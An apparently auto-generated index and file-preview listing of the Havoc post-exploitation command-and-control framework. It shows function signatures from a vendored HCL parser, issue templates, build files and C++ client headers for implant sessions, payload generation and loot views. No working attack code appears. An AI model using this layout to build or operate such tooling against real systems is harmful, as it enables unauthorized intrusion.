  function DecodeExpression (line 306) | func DecodeExpression(expr hcl.Expression, ctx *hcl.EvalContext, val int...

FILE: teamserver/pkg/profile/yaotl/gohcl/encode.go
  function EncodeIntoBody (line 36) | func EncodeIntoBody(val interface{}, dst *hclwrite.Body) {
  function EncodeAsBlock (line 60) | func EncodeAsBlock(val interface{}, blockType string) *hclwrite.Block {
  function populateBody (line 85) | func populateBody(rv reflect.Value, ty reflect.Type, tags *fieldTags, ds...

FILE: teamserver/pkg/profile/yaotl/gohcl/schema.go
  function ImpliedBodySchema (line 22) | func ImpliedBodySchema(val interface{}) (schema *hcl.BodySchema, partial...
  type fieldTags (line 111) | type fieldTags struct
  type labelField (line 120) | type labelField struct
  function getFieldTags (line 125) | func getFieldTags(ty reflect.Type) *fieldTags {

FILE: teamserver/pkg/profile/yaotl/hcldec/block_labels.go
  type blockLabel (line 7) | type blockLabel struct
  function labelsForBlock (line 12) | func labelsForBlock(block *hcl.Block) []blockLabel {

FILE: teamserver/pkg/profile/yaotl/hcldec/decode.go
  function decode (line 8) | func decode(body hcl.Body, blockLabels []blockLabel, ctx *hcl.EvalContex...
  function impliedType (line 27) | func impliedType(spec Spec) cty.Type {
  function sourceRange (line 31) | func sourceRange(body hcl.Body, blockLabels []blockLabel, spec Spec) hcl...

FILE: teamserver/pkg/profile/yaotl/hcldec/gob.go
  function init (line 7) | func init() {

FILE: teamserver/pkg/profile/yaotl/hcldec/public.go
  function Decode (line 14) | func Decode(body hcl.Body, spec Spec, ctx *hcl.EvalContext) (cty.Value, ...
  function PartialDecode (line 25) | func PartialDecode(body hcl.Body, spec Spec, ctx *hcl.EvalContext) (cty....
  function ImpliedType (line 31) | func ImpliedType(spec Spec) cty.Type {
  function SourceRange (line 51) | func SourceRange(body hcl.Body, spec Spec) hcl.Range {
  function ChildBlockTypes (line 58) | func ChildBlockTypes(spec Spec) map[string]Spec {

FILE: teamserver/pkg/profile/yaotl/hcldec/public_test.go
  function TestDecode (line 13) | func TestDecode(t *testing.T) {
  function TestSourceRange (line 1046) | func TestSourceRange(t *testing.T) {

FILE: teamserver/pkg/profile/yaotl/hcldec/schema.go
  function ImpliedSchema (line 10) | func ImpliedSchema(spec Spec) *hcl.BodySchema {

FILE: teamserver/pkg/profile/yaotl/hcldec/spec.go
  type Spec (line 20) | type Spec interface
  type visitFunc (line 44) | type visitFunc
  type ObjectSpec (line 48) | type ObjectSpec
    method visitSameBodyChildren (line 73) | func (s ObjectSpec) visitSameBodyChildren(cb visitFunc) {
    method decode (line 79) | func (s ObjectSpec) decode(content *hcl.BodyContent, blockLabels []blo...
    method impliedType (line 92) | func (s ObjectSpec) impliedType() cty.Type {
    method sourceRange (line 104) | func (s ObjectSpec) sourceRange(content *hcl.BodyContent, blockLabels ...
  type attrSpec (line 51) | type attrSpec interface
  type blockSpec (line 56) | type blockSpec interface
  type specNeedingVariables (line 63) | type specNeedingVariables interface
  type UnknownBody (line 69) | type UnknownBody interface
  type TupleSpec (line 113) | type TupleSpec
    method visitSameBodyChildren (line 115) | func (s TupleSpec) visitSameBodyChildren(cb visitFunc) {
    method decode (line 121) | func (s TupleSpec) decode(content *hcl.BodyContent, blockLabels []bloc...
    method impliedType (line 134) | func (s TupleSpec) impliedType() cty.Type {
    method sourceRange (line 146) | func (s TupleSpec) sourceRange(content *hcl.BodyContent, blockLabels [...
  type AttrSpec (line 156) | type AttrSpec struct
    method visitSameBodyChildren (line 162) | func (s *AttrSpec) visitSameBodyChildren(cb visitFunc) {
    method variablesNeeded (line 167) | func (s *AttrSpec) variablesNeeded(content *hcl.BodyContent) []hcl.Tra...
    method attrSchemata (line 177) | func (s *AttrSpec) attrSchemata() []hcl.AttributeSchema {
    method sourceRange (line 186) | func (s *AttrSpec) sourceRange(content *hcl.BodyContent, blockLabels [...
    method decode (line 195) | func (s *AttrSpec) decode(content *hcl.BodyContent, blockLabels []bloc...
    method impliedType (line 237) | func (s *AttrSpec) impliedType() cty.Type {
  type LiteralSpec (line 243) | type LiteralSpec struct
    method visitSameBodyChildren (line 247) | func (s *LiteralSpec) visitSameBodyChildren(cb visitFunc) {
    method decode (line 251) | func (s *LiteralSpec) decode(content *hcl.BodyContent, blockLabels []b...
    method impliedType (line 255) | func (s *LiteralSpec) impliedType() cty.Type {
    method sourceRange (line 259) | func (s *LiteralSpec) sourceRange(content *hcl.BodyContent, blockLabel...
  type ExprSpec (line 269) | type ExprSpec struct
    method visitSameBodyChildren (line 273) | func (s *ExprSpec) visitSameBodyChildren(cb visitFunc) {
    method variablesNeeded (line 278) | func (s *ExprSpec) variablesNeeded(content *hcl.BodyContent) []hcl.Tra...
    method decode (line 282) | func (s *ExprSpec) decode(content *hcl.BodyContent, blockLabels []bloc...
    method impliedType (line 286) | func (s *ExprSpec) impliedType() cty.Type {
    method sourceRange (line 291) | func (s *ExprSpec) sourceRange(content *hcl.BodyContent, blockLabels [...
  type BlockSpec (line 301) | type BlockSpec struct
    method visitSameBodyChildren (line 307) | func (s *BlockSpec) visitSameBodyChildren(cb visitFunc) {
    method blockHeaderSchemata (line 312) | func (s *BlockSpec) blockHeaderSchemata() []hcl.BlockHeaderSchema {
    method nestedSpec (line 322) | func (s *BlockSpec) nestedSpec() Spec {
    method variablesNeeded (line 327) | func (s *BlockSpec) variablesNeeded(content *hcl.BodyContent) []hcl.Tr...
    method decode (line 345) | func (s *BlockSpec) decode(content *hcl.BodyContent, blockLabels []blo...
    method impliedType (line 392) | func (s *BlockSpec) impliedType() cty.Type {
    method sourceRange (line 396) | func (s *BlockSpec) sourceRange(content *hcl.BodyContent, blockLabels ...
  type BlockListSpec (line 416) | type BlockListSpec struct
    method visitSameBodyChildren (line 423) | func (s *BlockListSpec) visitSameBodyChildren(cb visitFunc) {
    method blockHeaderSchemata (line 428) | func (s *BlockListSpec) blockHeaderSchemata() []hcl.BlockHeaderSchema {
    method nestedSpec (line 438) | func (s *BlockListSpec) nestedSpec() Spec {
    method variablesNeeded (line 443) | func (s *BlockListSpec) variablesNeeded(content *hcl.BodyContent) []hc...
    method decode (line 457) | func (s *BlockListSpec) decode(content *hcl.BodyContent, blockLabels [...
    method impliedType (line 547) | func (s *BlockListSpec) impliedType() cty.Type {
    method sourceRange (line 551) | func (s *BlockListSpec) sourceRange(content *hcl.BodyContent, blockLab...
  type BlockTupleSpec (line 578) | type BlockTupleSpec struct
    method visitSameBodyChildren (line 585) | func (s *BlockTupleSpec) visitSameBodyChildren(cb visitFunc) {
    method blockHeaderSchemata (line 590) | func (s *BlockTupleSpec) blockHeaderSchemata() []hcl.BlockHeaderSchema {
    method nestedSpec (line 600) | func (s *BlockTupleSpec) nestedSpec() Spec {
    method variablesNeeded (line 605) | func (s *BlockTupleSpec) variablesNeeded(content *hcl.BodyContent) []h...
    method decode (line 619) | func (s *BlockTupleSpec) decode(content *hcl.BodyContent, blockLabels ...
    method impliedType (line 671) | func (s *BlockTupleSpec) impliedType() cty.Type {
    method sourceRange (line 677) | func (s *BlockTupleSpec) sourceRange(content *hcl.BodyContent, blockLa...
  type BlockSetSpec (line 700) | type BlockSetSpec struct
    method visitSameBodyChildren (line 707) | func (s *BlockSetSpec) visitSameBodyChildren(cb visitFunc) {
    method blockHeaderSchemata (line 712) | func (s *BlockSetSpec) blockHeaderSchemata() []hcl.BlockHeaderSchema {
    method nestedSpec (line 722) | func (s *BlockSetSpec) nestedSpec() Spec {
    method variablesNeeded (line 727) | func (s *BlockSetSpec) variablesNeeded(content *hcl.BodyContent) []hcl...
    method decode (line 741) | func (s *BlockSetSpec) decode(content *hcl.BodyContent, blockLabels []...
    method impliedType (line 832) | func (s *BlockSetSpec) impliedType() cty.Type {
    method sourceRange (line 836) | func (s *BlockSetSpec) sourceRange(content *hcl.BodyContent, blockLabe...
  type BlockMapSpec (line 862) | type BlockMapSpec struct
    method visitSameBodyChildren (line 868) | func (s *BlockMapSpec) visitSameBodyChildren(cb visitFunc) {
    method blockHeaderSchemata (line 873) | func (s *BlockMapSpec) blockHeaderSchemata() []hcl.BlockHeaderSchema {
    method nestedSpec (line 883) | func (s *BlockMapSpec) nestedSpec() Spec {
    method variablesNeeded (line 888) | func (s *BlockMapSpec) variablesNeeded(content *hcl.BodyContent) []hcl...
    method decode (line 902) | func (s *BlockMapSpec) decode(content *hcl.BodyContent, blockLabels []...
    method impliedType (line 981) | func (s *BlockMapSpec) impliedType() cty.Type {
    method sourceRange (line 989) | func (s *BlockMapSpec) sourceRange(content *hcl.BodyContent, blockLabe...
  type BlockObjectSpec (line 1019) | type BlockObjectSpec struct
    method visitSameBodyChildren (line 1025) | func (s *BlockObjectSpec) visitSameBodyChildren(cb visitFunc) {
    method blockHeaderSchemata (line 1030) | func (s *BlockObjectSpec) blockHeaderSchemata() []hcl.BlockHeaderSchema {
    method nestedSpec (line 1040) | func (s *BlockObjectSpec) nestedSpec() Spec {
    method variablesNeeded (line 1045) | func (s *BlockObjectSpec) variablesNeeded(content *hcl.BodyContent) []...
    method decode (line 1059) | func (s *BlockObjectSpec) decode(content *hcl.BodyContent, blockLabels...
    method impliedType (line 1135) | func (s *BlockObjectSpec) impliedType() cty.Type {
    method sourceRange (line 1141) | func (s *BlockObjectSpec) sourceRange(content *hcl.BodyContent, blockL...
  type BlockAttrsSpec (line 1177) | type BlockAttrsSpec struct
    method visitSameBodyChildren (line 1183) | func (s *BlockAttrsSpec) visitSameBodyChildren(cb visitFunc) {
    method blockHeaderSchemata (line 1188) | func (s *BlockAttrsSpec) blockHeaderSchemata() []hcl.BlockHeaderSchema {
    method nestedSpec (line 1198) | func (s *BlockAttrsSpec) nestedSpec() Spec {
    method variablesNeeded (line 1208) | func (s *BlockAttrsSpec) variablesNeeded(content *hcl.BodyContent) []h...
    method decode (line 1235) | func (s *BlockAttrsSpec) decode(content *hcl.BodyContent, blockLabels ...
    method impliedType (line 1306) | func (s *BlockAttrsSpec) impliedType() cty.Type {
    method sourceRange (line 1310) | func (s *BlockAttrsSpec) sourceRange(content *hcl.BodyContent, blockLa...
    method findBlock (line 1318) | func (s *BlockAttrsSpec) findBlock(content *hcl.BodyContent) (block *h...
  type BlockLabelSpec (line 1343) | type BlockLabelSpec struct
    method visitSameBodyChildren (line 1348) | func (s *BlockLabelSpec) visitSameBodyChildren(cb visitFunc) {
    method decode (line 1352) | func (s *BlockLabelSpec) decode(content *hcl.BodyContent, blockLabels ...
    method impliedType (line 1360) | func (s *BlockLabelSpec) impliedType() cty.Type {
    method sourceRange (line 1364) | func (s *BlockLabelSpec) sourceRange(content *hcl.BodyContent, blockLa...
  function findLabelSpecs (line 1372) | func findLabelSpecs(spec Spec) []string {
  type DefaultSpec (line 1425) | type DefaultSpec struct
    method visitSameBodyChildren (line 1430) | func (s *DefaultSpec) visitSameBodyChildren(cb visitFunc) {
    method decode (line 1435) | func (s *DefaultSpec) decode(content *hcl.BodyContent, blockLabels []b...
    method impliedType (line 1445) | func (s *DefaultSpec) impliedType() cty.Type {
    method attrSchemata (line 1450) | func (s *DefaultSpec) attrSchemata() []hcl.AttributeSchema {
    method blockHeaderSchemata (line 1464) | func (s *DefaultSpec) blockHeaderSchemata() []hcl.BlockHeaderSchema {
    method nestedSpec (line 1474) | func (s *DefaultSpec) nestedSpec() Spec {
    method sourceRange (line 1481) | func (s *DefaultSpec) sourceRange(content *hcl.BodyContent, blockLabel...
  type TransformExprSpec (line 1496) | type TransformExprSpec struct
    method visitSameBodyChildren (line 1503) | func (s *TransformExprSpec) visitSameBodyChildren(cb visitFunc) {
    method decode (line 1507) | func (s *TransformExprSpec) decode(content *hcl.BodyContent, blockLabe...
    method impliedType (line 1525) | func (s *TransformExprSpec) impliedType() cty.Type {
    method sourceRange (line 1535) | func (s *TransformExprSpec) sourceRange(content *hcl.BodyContent, bloc...
  type TransformFuncSpec (line 1554) | type TransformFuncSpec struct
    method visitSameBodyChildren (line 1559) | func (s *TransformFuncSpec) visitSameBodyChildren(cb visitFunc) {
    method decode (line 1563) | func (s *TransformFuncSpec) decode(content *hcl.BodyContent, blockLabe...
    method impliedType (line 1589) | func (s *TransformFuncSpec) impliedType() cty.Type {
    method sourceRange (line 1600) | func (s *TransformFuncSpec) sourceRange(content *hcl.BodyContent, bloc...
  type ValidateSpec (line 1614) | type ValidateSpec struct
    method visitSameBodyChildren (line 1619) | func (s *ValidateSpec) visitSameBodyChildren(cb visitFunc) {
    method decode (line 1623) | func (s *ValidateSpec) decode(content *hcl.BodyContent, blockLabels []...
    method impliedType (line 1644) | func (s *ValidateSpec) impliedType() cty.Type {
    method sourceRange (line 1648) | func (s *ValidateSpec) sourceRange(content *hcl.BodyContent, blockLabe...
  type noopSpec (line 1655) | type noopSpec struct
    method decode (line 1658) | func (s noopSpec) decode(content *hcl.BodyContent, blockLabels []block...
    method impliedType (line 1662) | func (s noopSpec) impliedType() cty.Type {
    method visitSameBodyChildren (line 1666) | func (s noopSpec) visitSameBodyChildren(cb visitFunc) {
    method sourceRange (line 1670) | func (s noopSpec) sourceRange(content *hcl.BodyContent, blockLabels []...

FILE: teamserver/pkg/profile/yaotl/hcldec/spec_test.go
  function TestDefaultSpec (line 49) | func TestDefaultSpec(t *testing.T) {
  function TestValidateFuncSpec (line 145) | func TestValidateFuncSpec(t *testing.T) {

FILE: teamserver/pkg/profile/yaotl/hcldec/variables.go
  function Variables (line 17) | func Variables(body hcl.Body, spec Spec) []hcl.Traversal {

FILE: teamserver/pkg/profile/yaotl/hcldec/variables_test.go
  function TestVariables (line 13) | func TestVariables(t *testing.T) {

FILE: teamserver/pkg/profile/yaotl/hcled/navigation.go
  type contextStringer (line 7) | type contextStringer interface
  function ContextString (line 15) | func ContextString(file *hcl.File, offset int) string {
  type contextDefRanger (line 22) | type contextDefRanger interface
  function ContextDefRange (line 26) | func ContextDefRange(file *hcl.File, offset int) hcl.Range {

FILE: teamserver/pkg/profile/yaotl/hclparse/parser.go
  type Parser (line 38) | type Parser struct
    method ParseHCL (line 52) | func (p *Parser) ParseHCL(src []byte, filename string) (*hcl.File, hcl...
    method ParseHCLFile (line 65) | func (p *Parser) ParseHCLFile(filename string) (*hcl.File, hcl.Diagnos...
    method ParseJSON (line 86) | func (p *Parser) ParseJSON(src 
Condensed preview — 564 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (4,581K chars).
[
  {
    "path": ".github/FUNDING.yml",
    "chars": 87,
    "preview": "# These are supported funding model platforms\n\ngithub: [Cracked5pider]\npatreon: 5pider\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/Bug_Report-Demon.yml",
    "chars": 1604,
    "preview": "name: Demon-Implant Bug Report\ndescription: File a bug report for the Demon Implant\ntitle: \"[File a bug report for the D"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/Bug_Report-Documentation.yml",
    "chars": 1656,
    "preview": "name: Documentation Bug Report\ndescription: File a bug report for the Documentation relating to the Havoc Framework.\ntit"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/Bug_Report-Teamserver-Client.yml",
    "chars": 2213,
    "preview": "name: \"Teamserver/Client Bug Report\"\ndescription: File a bug report for the Teamserver client relating to the Havoc Fram"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/Feature_Suggestion.yml",
    "chars": 1961,
    "preview": "name: Feature Suggestion\ndescription: File a feature suggestion for the Havoc Framework\ntitle: \"[Feature Suggestions/Enh"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/config.yml",
    "chars": 197,
    "preview": "--- \nblank_isues_enabled: false\ncontact_links: \n  - \n    about: \"The official Havoc Framework Project's discord server\"\n"
  },
  {
    "path": ".gitignore",
    "chars": 496,
    "preview": "# ignore .idea\n*/.idea/\n\n# ignore cmake generated stuff\nClient/Build\n**/cmake-build-debug/\n\n# dont commit your loot\nTeam"
  },
  {
    "path": ".gitmodules",
    "chars": 319,
    "preview": "[submodule \"client/external/spdlog\"]\n\tpath = client/external/spdlog\n\turl = https://github.com/gabime/spdlog\n[submodule \""
  },
  {
    "path": "CONTRIBUTING.MD",
    "chars": 461,
    "preview": "# Guide to Contributing\n\n### Pushing Changes to `dev`\n- It is preferred that new changes are pushed to a new branch, and"
  },
  {
    "path": "CREDITS.md",
    "chars": 1917,
    "preview": "# Credits\n\nIn this file i give credits to those people who helped me working on this project.\n\n- [Austin Hudson](https:/"
  },
  {
    "path": "LICENSE",
    "chars": 35149,
    "preview": "                    GNU GENERAL PUBLIC LICENSE\n                       Version 3, 29 June 2007\n\n Copyright (C) 2007 Free "
  },
  {
    "path": "README.md",
    "chars": 2610,
    "preview": "<div align=\"center\">\n  <img width=\"125px\" src=\"assets/Havoc.png\" />\n  <h1>Havoc</h1>\n  <br/>\n\n  <p><i>Havoc is a modern "
  },
  {
    "path": "RELEASE.md",
    "chars": 2368,
    "preview": "Because Havoc does not currently publish \"releases\" on GitHub, this document serves as a historical record of all major "
  },
  {
    "path": "WIKI.MD",
    "chars": 27678,
    "preview": "# Havoc\n\nHavoc is a modern and malleable post-exploitation command and control framework.\n\n#### Table of Contents\n- [Hav"
  },
  {
    "path": "assets/Havoc-Client.groovy",
    "chars": 1358,
    "preview": "pipeline {\n    agent any\n\n    environment {\n        TEST=\"ENV vars go here\"\n        TOOLNAME=\"HavocFramework\"\n    }\n\n   "
  },
  {
    "path": "assets/Havoc-Teamserver.groovy",
    "chars": 1266,
    "preview": "pipeline {\n    agent any\n\n    environment {\n        TEST=\"ENV vars go here\"\n        TOOLNAME=\"HavocFramework\"\n    }\n\n   "
  },
  {
    "path": "client/CMakeLists.txt",
    "chars": 6374,
    "preview": "cmake_minimum_required( VERSION 3.15 )\nproject( Havoc )\n\n##\n## cmake sets\n##\nset( QT_VERSION 5 )\nset( CMAKE_CXX_STANDARD"
  },
  {
    "path": "client/README.md",
    "chars": 56,
    "preview": "# Havoc Teamserver Client\n\nHavoc Gui Client source code."
  },
  {
    "path": "client/config.toml",
    "chars": 745,
    "preview": "[font]\nsize   = 9\nfamily = \"Monospace\"\n\n[scripts]\nfiles = [\n  \"client/Modules/Packer/packer.py\",\n  \"client/Modules/Invok"
  },
  {
    "path": "client/include/External.h",
    "chars": 184,
    "preview": "#ifndef HAVOC_EXTERNAL_H\n#define HAVOC_EXTERNAL_H\n\n#include <nlohmann/json.hpp>\n#include <spdlog/spdlog.h>\n#include <tom"
  },
  {
    "path": "client/include/Havoc/CmdLine.hpp",
    "chars": 24088,
    "preview": "/*\n  Copyright (c) 2009, Hideyuki Tanaka\n  All rights reserved.\n  Redistribution and use in source and binary forms, wit"
  },
  {
    "path": "client/include/Havoc/Connector.hpp",
    "chars": 734,
    "preview": "#ifndef HAVOC_CONNECTOR_HPP\n#define HAVOC_CONNECTOR_HPP\n\n#include <global.hpp>\n#include <QJsonDocument>\n#include <QJsonO"
  },
  {
    "path": "client/include/Havoc/DBManager/DBManager.hpp",
    "chars": 869,
    "preview": "#ifndef HAVOC_DBMANAGER_HPP\n#define HAVOC_DBMANAGER_HPP\n\n#include <global.hpp>\n\n#include <QSqlDatabase>\n#include <QSqlQu"
  },
  {
    "path": "client/include/Havoc/DemonCmdDispatch.h",
    "chars": 5650,
    "preview": "#ifndef HAVOC_DEMONCMDDISPATCH_H\n#define HAVOC_DEMONCMDDISPATCH_H\n\n#include <global.hpp>\n\n#include <QStringList>\n#includ"
  },
  {
    "path": "client/include/Havoc/Havoc.hpp",
    "chars": 596,
    "preview": "#ifndef HAVOC_HAVOC_HPP\n#define HAVOC_HAVOC_HPP\n\n#include <global.hpp>\n#include <UserInterface/HavocUI.hpp>\n#include <Ha"
  },
  {
    "path": "client/include/Havoc/Packager.hpp",
    "chars": 2849,
    "preview": "#ifndef HAVOC_PACKAGER_H\n#define HAVOC_PACKAGER_H\n\n#include <global.hpp>\n\nusing namespace std;\nusing namespace HavocName"
  },
  {
    "path": "client/include/Havoc/PythonApi/Event.h",
    "chars": 572,
    "preview": "#ifndef HAVOC_EVENT_H\n#define HAVOC_EVENT_H\n\n#include <global.hpp>\n\ntypedef struct\n{\n    PyObject_HEAD\n\n    PVOID Sessio"
  },
  {
    "path": "client/include/Havoc/PythonApi/HavocUi.h",
    "chars": 55,
    "preview": "#ifndef HAVOC_HAVOCUI_H\n#define HAVOC_HAVOCUI_H\n\n#endif"
  },
  {
    "path": "client/include/Havoc/PythonApi/PyAgentClass.hpp",
    "chars": 1023,
    "preview": "#ifndef HAVOC_PYAGENTCLASS_HPP\n#define HAVOC_PYAGENTCLASS_HPP\n\n#include <global.hpp>\n\n#define AllocMov( des, src, size )"
  },
  {
    "path": "client/include/Havoc/PythonApi/PyDemonClass.h",
    "chars": 1722,
    "preview": "#ifndef HAVOC_PYDEMONCLASS_H\n#define HAVOC_PYDEMONCLASS_H\n\n#include <global.hpp>\n\ntypedef struct\n{\n    PyObject_HEAD\n\n  "
  },
  {
    "path": "client/include/Havoc/PythonApi/PythonApi.h",
    "chars": 1978,
    "preview": "#ifndef HAVOC_PYTHONAPI_H\n#define HAVOC_PYTHONAPI_H\n\n#include <global.hpp>\n#pragma push_macro(\"slots\")\n#undef slots\n#inc"
  },
  {
    "path": "client/include/Havoc/PythonApi/UI/PyDialogClass.hpp",
    "chars": 1979,
    "preview": "#ifndef HAVOC_PYDIALOGCLASS_H\r\n#define HAVOC_PYDIALOGCLASS_H\r\n\r\n#include <UserInterface/HavocUI.hpp>\r\n#include <global.h"
  },
  {
    "path": "client/include/Havoc/PythonApi/UI/PyLoggerClass.hpp",
    "chars": 1074,
    "preview": "#ifndef HAVOC_PYLOGGERCLASS_H\r\n#define HAVOC_PYLOGGERCLASS_H\r\n\r\n#include <UserInterface/HavocUI.hpp>\r\n#include <global.h"
  },
  {
    "path": "client/include/Havoc/PythonApi/UI/PyTreeClass.hpp",
    "chars": 1548,
    "preview": "#ifndef HAVOC_PYTREECLASS_H\r\n#define HAVOC_PYTREECLASS_H\r\n\r\n#include <UserInterface/HavocUI.hpp>\r\n#include <global.hpp>\r"
  },
  {
    "path": "client/include/Havoc/PythonApi/UI/PyWidgetClass.hpp",
    "chars": 1985,
    "preview": "#ifndef HAVOC_PYWIDGETCLASS_H\r\n#define HAVOC_PYWIDGETCLASS_H\r\n\r\n#include <UserInterface/HavocUI.hpp>\r\n#include <global.h"
  },
  {
    "path": "client/include/Havoc/Service.hpp",
    "chars": 1103,
    "preview": "#ifndef HAVOC_SERVICE_HPP\n#define HAVOC_SERVICE_HPP\n\n#include <QString>\n#include <QStringList>\n#include <QJsonDocument>\n"
  },
  {
    "path": "client/include/UserInterface/Dialogs/About.hpp",
    "chars": 436,
    "preview": "#ifndef HAVOC_ABOUTDIALOG_H\n#define HAVOC_ABOUTDIALOG_H\n\n#include <global.hpp>\n#include <QTextBrowser>\n\nclass About : pu"
  },
  {
    "path": "client/include/UserInterface/Dialogs/Connect.hpp",
    "chars": 1651,
    "preview": "#ifndef HAVOC_CONNECTDIALOG_H\n#define HAVOC_CONNECTDIALOG_H\n\n#include <global.hpp>\n\n#include <QLineEdit>\n#include <QList"
  },
  {
    "path": "client/include/UserInterface/Dialogs/Listener.hpp",
    "chars": 4107,
    "preview": "\n#ifndef HAVOC_LISTENER_HPP\n#define HAVOC_LISTENER_HPP\n\n#include <global.hpp>\n\n#include <QLineEdit>\n#include <QGroupBox>"
  },
  {
    "path": "client/include/UserInterface/Dialogs/Payload.hpp",
    "chars": 1945,
    "preview": "#ifndef HAVOC_STAGELESSDIALOG_H\n#define HAVOC_STAGELESSDIALOG_H\n\n#include <global.hpp>\n\n#include <QtWidgets/QApplication"
  },
  {
    "path": "client/include/UserInterface/HavocUI.hpp",
    "chars": 3626,
    "preview": "#ifndef HAVOC_HAVOCUI_HPP\n#define HAVOC_HAVOCUI_HPP\n\n#include <global.hpp>\n\n#include <UserInterface/Dialogs/About.hpp>\n#"
  },
  {
    "path": "client/include/UserInterface/SmallWidgets/EventViewer.hpp",
    "chars": 380,
    "preview": "#ifndef HAVOC_EVENTVIEWER_HPP\n#define HAVOC_EVENTVIEWER_HPP\n\n#include <global.hpp>\n\nclass HavocNamespace::UserInterface:"
  },
  {
    "path": "client/include/UserInterface/Widgets/Chat.hpp",
    "chars": 680,
    "preview": "#ifndef HAVOC_CHATWIDGET_H\n#define HAVOC_CHATWIDGET_H\n\n#include <global.hpp>\n#include <QLineEdit>\n#include <QTextEdit>\n\n"
  },
  {
    "path": "client/include/UserInterface/Widgets/DemonInteracted.h",
    "chars": 1838,
    "preview": "#ifndef HAVOC_DEMONINTERACTED_H\n#define HAVOC_DEMONINTERACTED_H\n\n#include <global.hpp>\n#include <Havoc/DemonCmdDispatch."
  },
  {
    "path": "client/include/UserInterface/Widgets/FileBrowser.hpp",
    "chars": 2956,
    "preview": "#ifndef HAVOC_FILEBROWSER_HPP\n#define HAVOC_FILEBROWSER_HPP\n\n#include <QtCore/QVariant>\n#include <QtWidgets/QApplication"
  },
  {
    "path": "client/include/UserInterface/Widgets/ListenerTable.hpp",
    "chars": 1007,
    "preview": "#include <global.hpp>\n#include <QTableWidget>\n\n#include <Havoc/DBManager/DBManager.hpp>\n#include <Havoc/Packager.hpp>\n\nc"
  },
  {
    "path": "client/include/UserInterface/Widgets/LootWidget.h",
    "chars": 2796,
    "preview": "#ifndef HAVOC_LOOTWIDGET_H\n#define HAVOC_LOOTWIDGET_H\n\n#include <QtWidgets/QApplication>\n#include <QtWidgets/QComboBox>\n"
  },
  {
    "path": "client/include/UserInterface/Widgets/ProcessList.hpp",
    "chars": 1634,
    "preview": "#ifndef HAVOC_PROCESSLIST_HPP\n#define HAVOC_PROCESSLIST_HPP\n\n#include <global.hpp>\n\n#include <QtCore/QVariant>\n#include "
  },
  {
    "path": "client/include/UserInterface/Widgets/PythonScript.hpp",
    "chars": 692,
    "preview": "\n#ifndef HAVOC_PYTHONSCRIPTWIDGET_HPP\n#define HAVOC_PYTHONSCRIPTWIDGET_HPP\n\n#include <global.hpp>\n#include <QPlainTextEd"
  },
  {
    "path": "client/include/UserInterface/Widgets/ScriptManager.h",
    "chars": 932,
    "preview": "#ifndef SCRIPTMANAGERVVJSUY_H\n#define SCRIPTMANAGERVVJSUY_H\n\n#include <global.hpp>\n\nclass HavocNamespace::UserInterface:"
  },
  {
    "path": "client/include/UserInterface/Widgets/SessionGraph.hpp",
    "chars": 5131,
    "preview": "#ifndef HAVOC_SESSIONGRAPH_HPP\n#define HAVOC_SESSIONGRAPH_HPP\n\n#include <global.hpp>\n\n#include <QGraphicsItem>\n#include "
  },
  {
    "path": "client/include/UserInterface/Widgets/SessionTable.hpp",
    "chars": 1157,
    "preview": "#ifndef HAVOC_SESSIONTABLE_HPP\n#define HAVOC_SESSIONTABLE_HPP\n\n#include <global.hpp>\n#include <QTableWidget>\n\nclass Havo"
  },
  {
    "path": "client/include/UserInterface/Widgets/Store.hpp",
    "chars": 1712,
    "preview": "#ifndef HAVOC_STORE_HPP\n#define HAVOC_STORE_HPP\n\n#include <QtWidgets/QWidget>\n#include <QSplitter>\n#include <QPushButton"
  },
  {
    "path": "client/include/UserInterface/Widgets/Teamserver.hpp",
    "chars": 683,
    "preview": "#ifndef HAVOC_TEAMSERVER_HPP\n#define HAVOC_TEAMSERVER_HPP\n\n#include <QtCore/QVariant>\n#include <QtWidgets/QApplication>\n"
  },
  {
    "path": "client/include/UserInterface/Widgets/TeamserverTabSession.h",
    "chars": 2395,
    "preview": "#ifndef HAVOC_TEAMSERVERTABSESSION_H\n#define HAVOC_TEAMSERVERTABSESSION_H\n\n#include <global.hpp>\n#include <QStackedWidge"
  },
  {
    "path": "client/include/Util/Base.hpp",
    "chars": 660,
    "preview": "#ifndef HAVOC_BASE_HPP\n#define HAVOC_BASE_HPP\n\n#include <spdlog/spdlog.h>\n\n#include <QString>\n#include <QFile>\n#include "
  },
  {
    "path": "client/include/Util/Base64.h",
    "chars": 183,
    "preview": "#ifndef HAVOC_BASE64_H\n#define HAVOC_BASE64_H\n\n#include <string>\n#include <global.hpp>\n\nstd::string HavocNamespace::Util"
  },
  {
    "path": "client/include/Util/ColorText.h",
    "chars": 2138,
    "preview": "#ifndef HAVOC_COLORTEXT_H\n#define HAVOC_COLORTEXT_H\n\n#include <global.hpp>\n\nclass HavocNamespace::Util::ColorText {\npubl"
  },
  {
    "path": "client/include/global.hpp",
    "chars": 7306,
    "preview": "#ifndef HAVOC_GLOBAL_HPP\n#define HAVOC_GLOBAL_HPP\n\n#include <QApplication>\n#include <QMainWindow>\n#include <QtNetwork/QT"
  },
  {
    "path": "client/makefile",
    "chars": 345,
    "preview": "MAKEFLAGS += -s\n\nifndef VERBOSE\n.SILENT:\nendif\n\nall:\n\t@ mkdir build; cd build; cmake ..\n\t@ if [ -d \"Modules\" ]; then ech"
  },
  {
    "path": "client/src/Havoc/Connector.cc",
    "chars": 2567,
    "preview": "#include <Havoc/Connector.hpp>\n#include <Havoc/Havoc.hpp>\n#include <QCryptographicHash>\n#include <QMap>\n#include <QBuffe"
  },
  {
    "path": "client/src/Havoc/DBManger/DBManager.cc",
    "chars": 1804,
    "preview": "#include <Havoc/DBManager/DBManager.hpp>\n#include <QFileInfo>\n\nusing namespace HavocNamespace::HavocSpace;\n\nint DBManage"
  },
  {
    "path": "client/src/Havoc/DBManger/Scripts.cc",
    "chars": 1998,
    "preview": "#include <Havoc/DBManager/DBManager.hpp>\n\nbool HavocNamespace::HavocSpace::DBManager::AddScript( QString Path )\n{\n    au"
  },
  {
    "path": "client/src/Havoc/DBManger/Teamserver.cc",
    "chars": 3542,
    "preview": "#include <Havoc/DBManager/DBManager.hpp>\n#include <QSqlError>\n\nusing namespace HavocNamespace;\n\nbool HavocSpace::DBManag"
  },
  {
    "path": "client/src/Havoc/Demon/CommandOutput.cc",
    "chars": 4558,
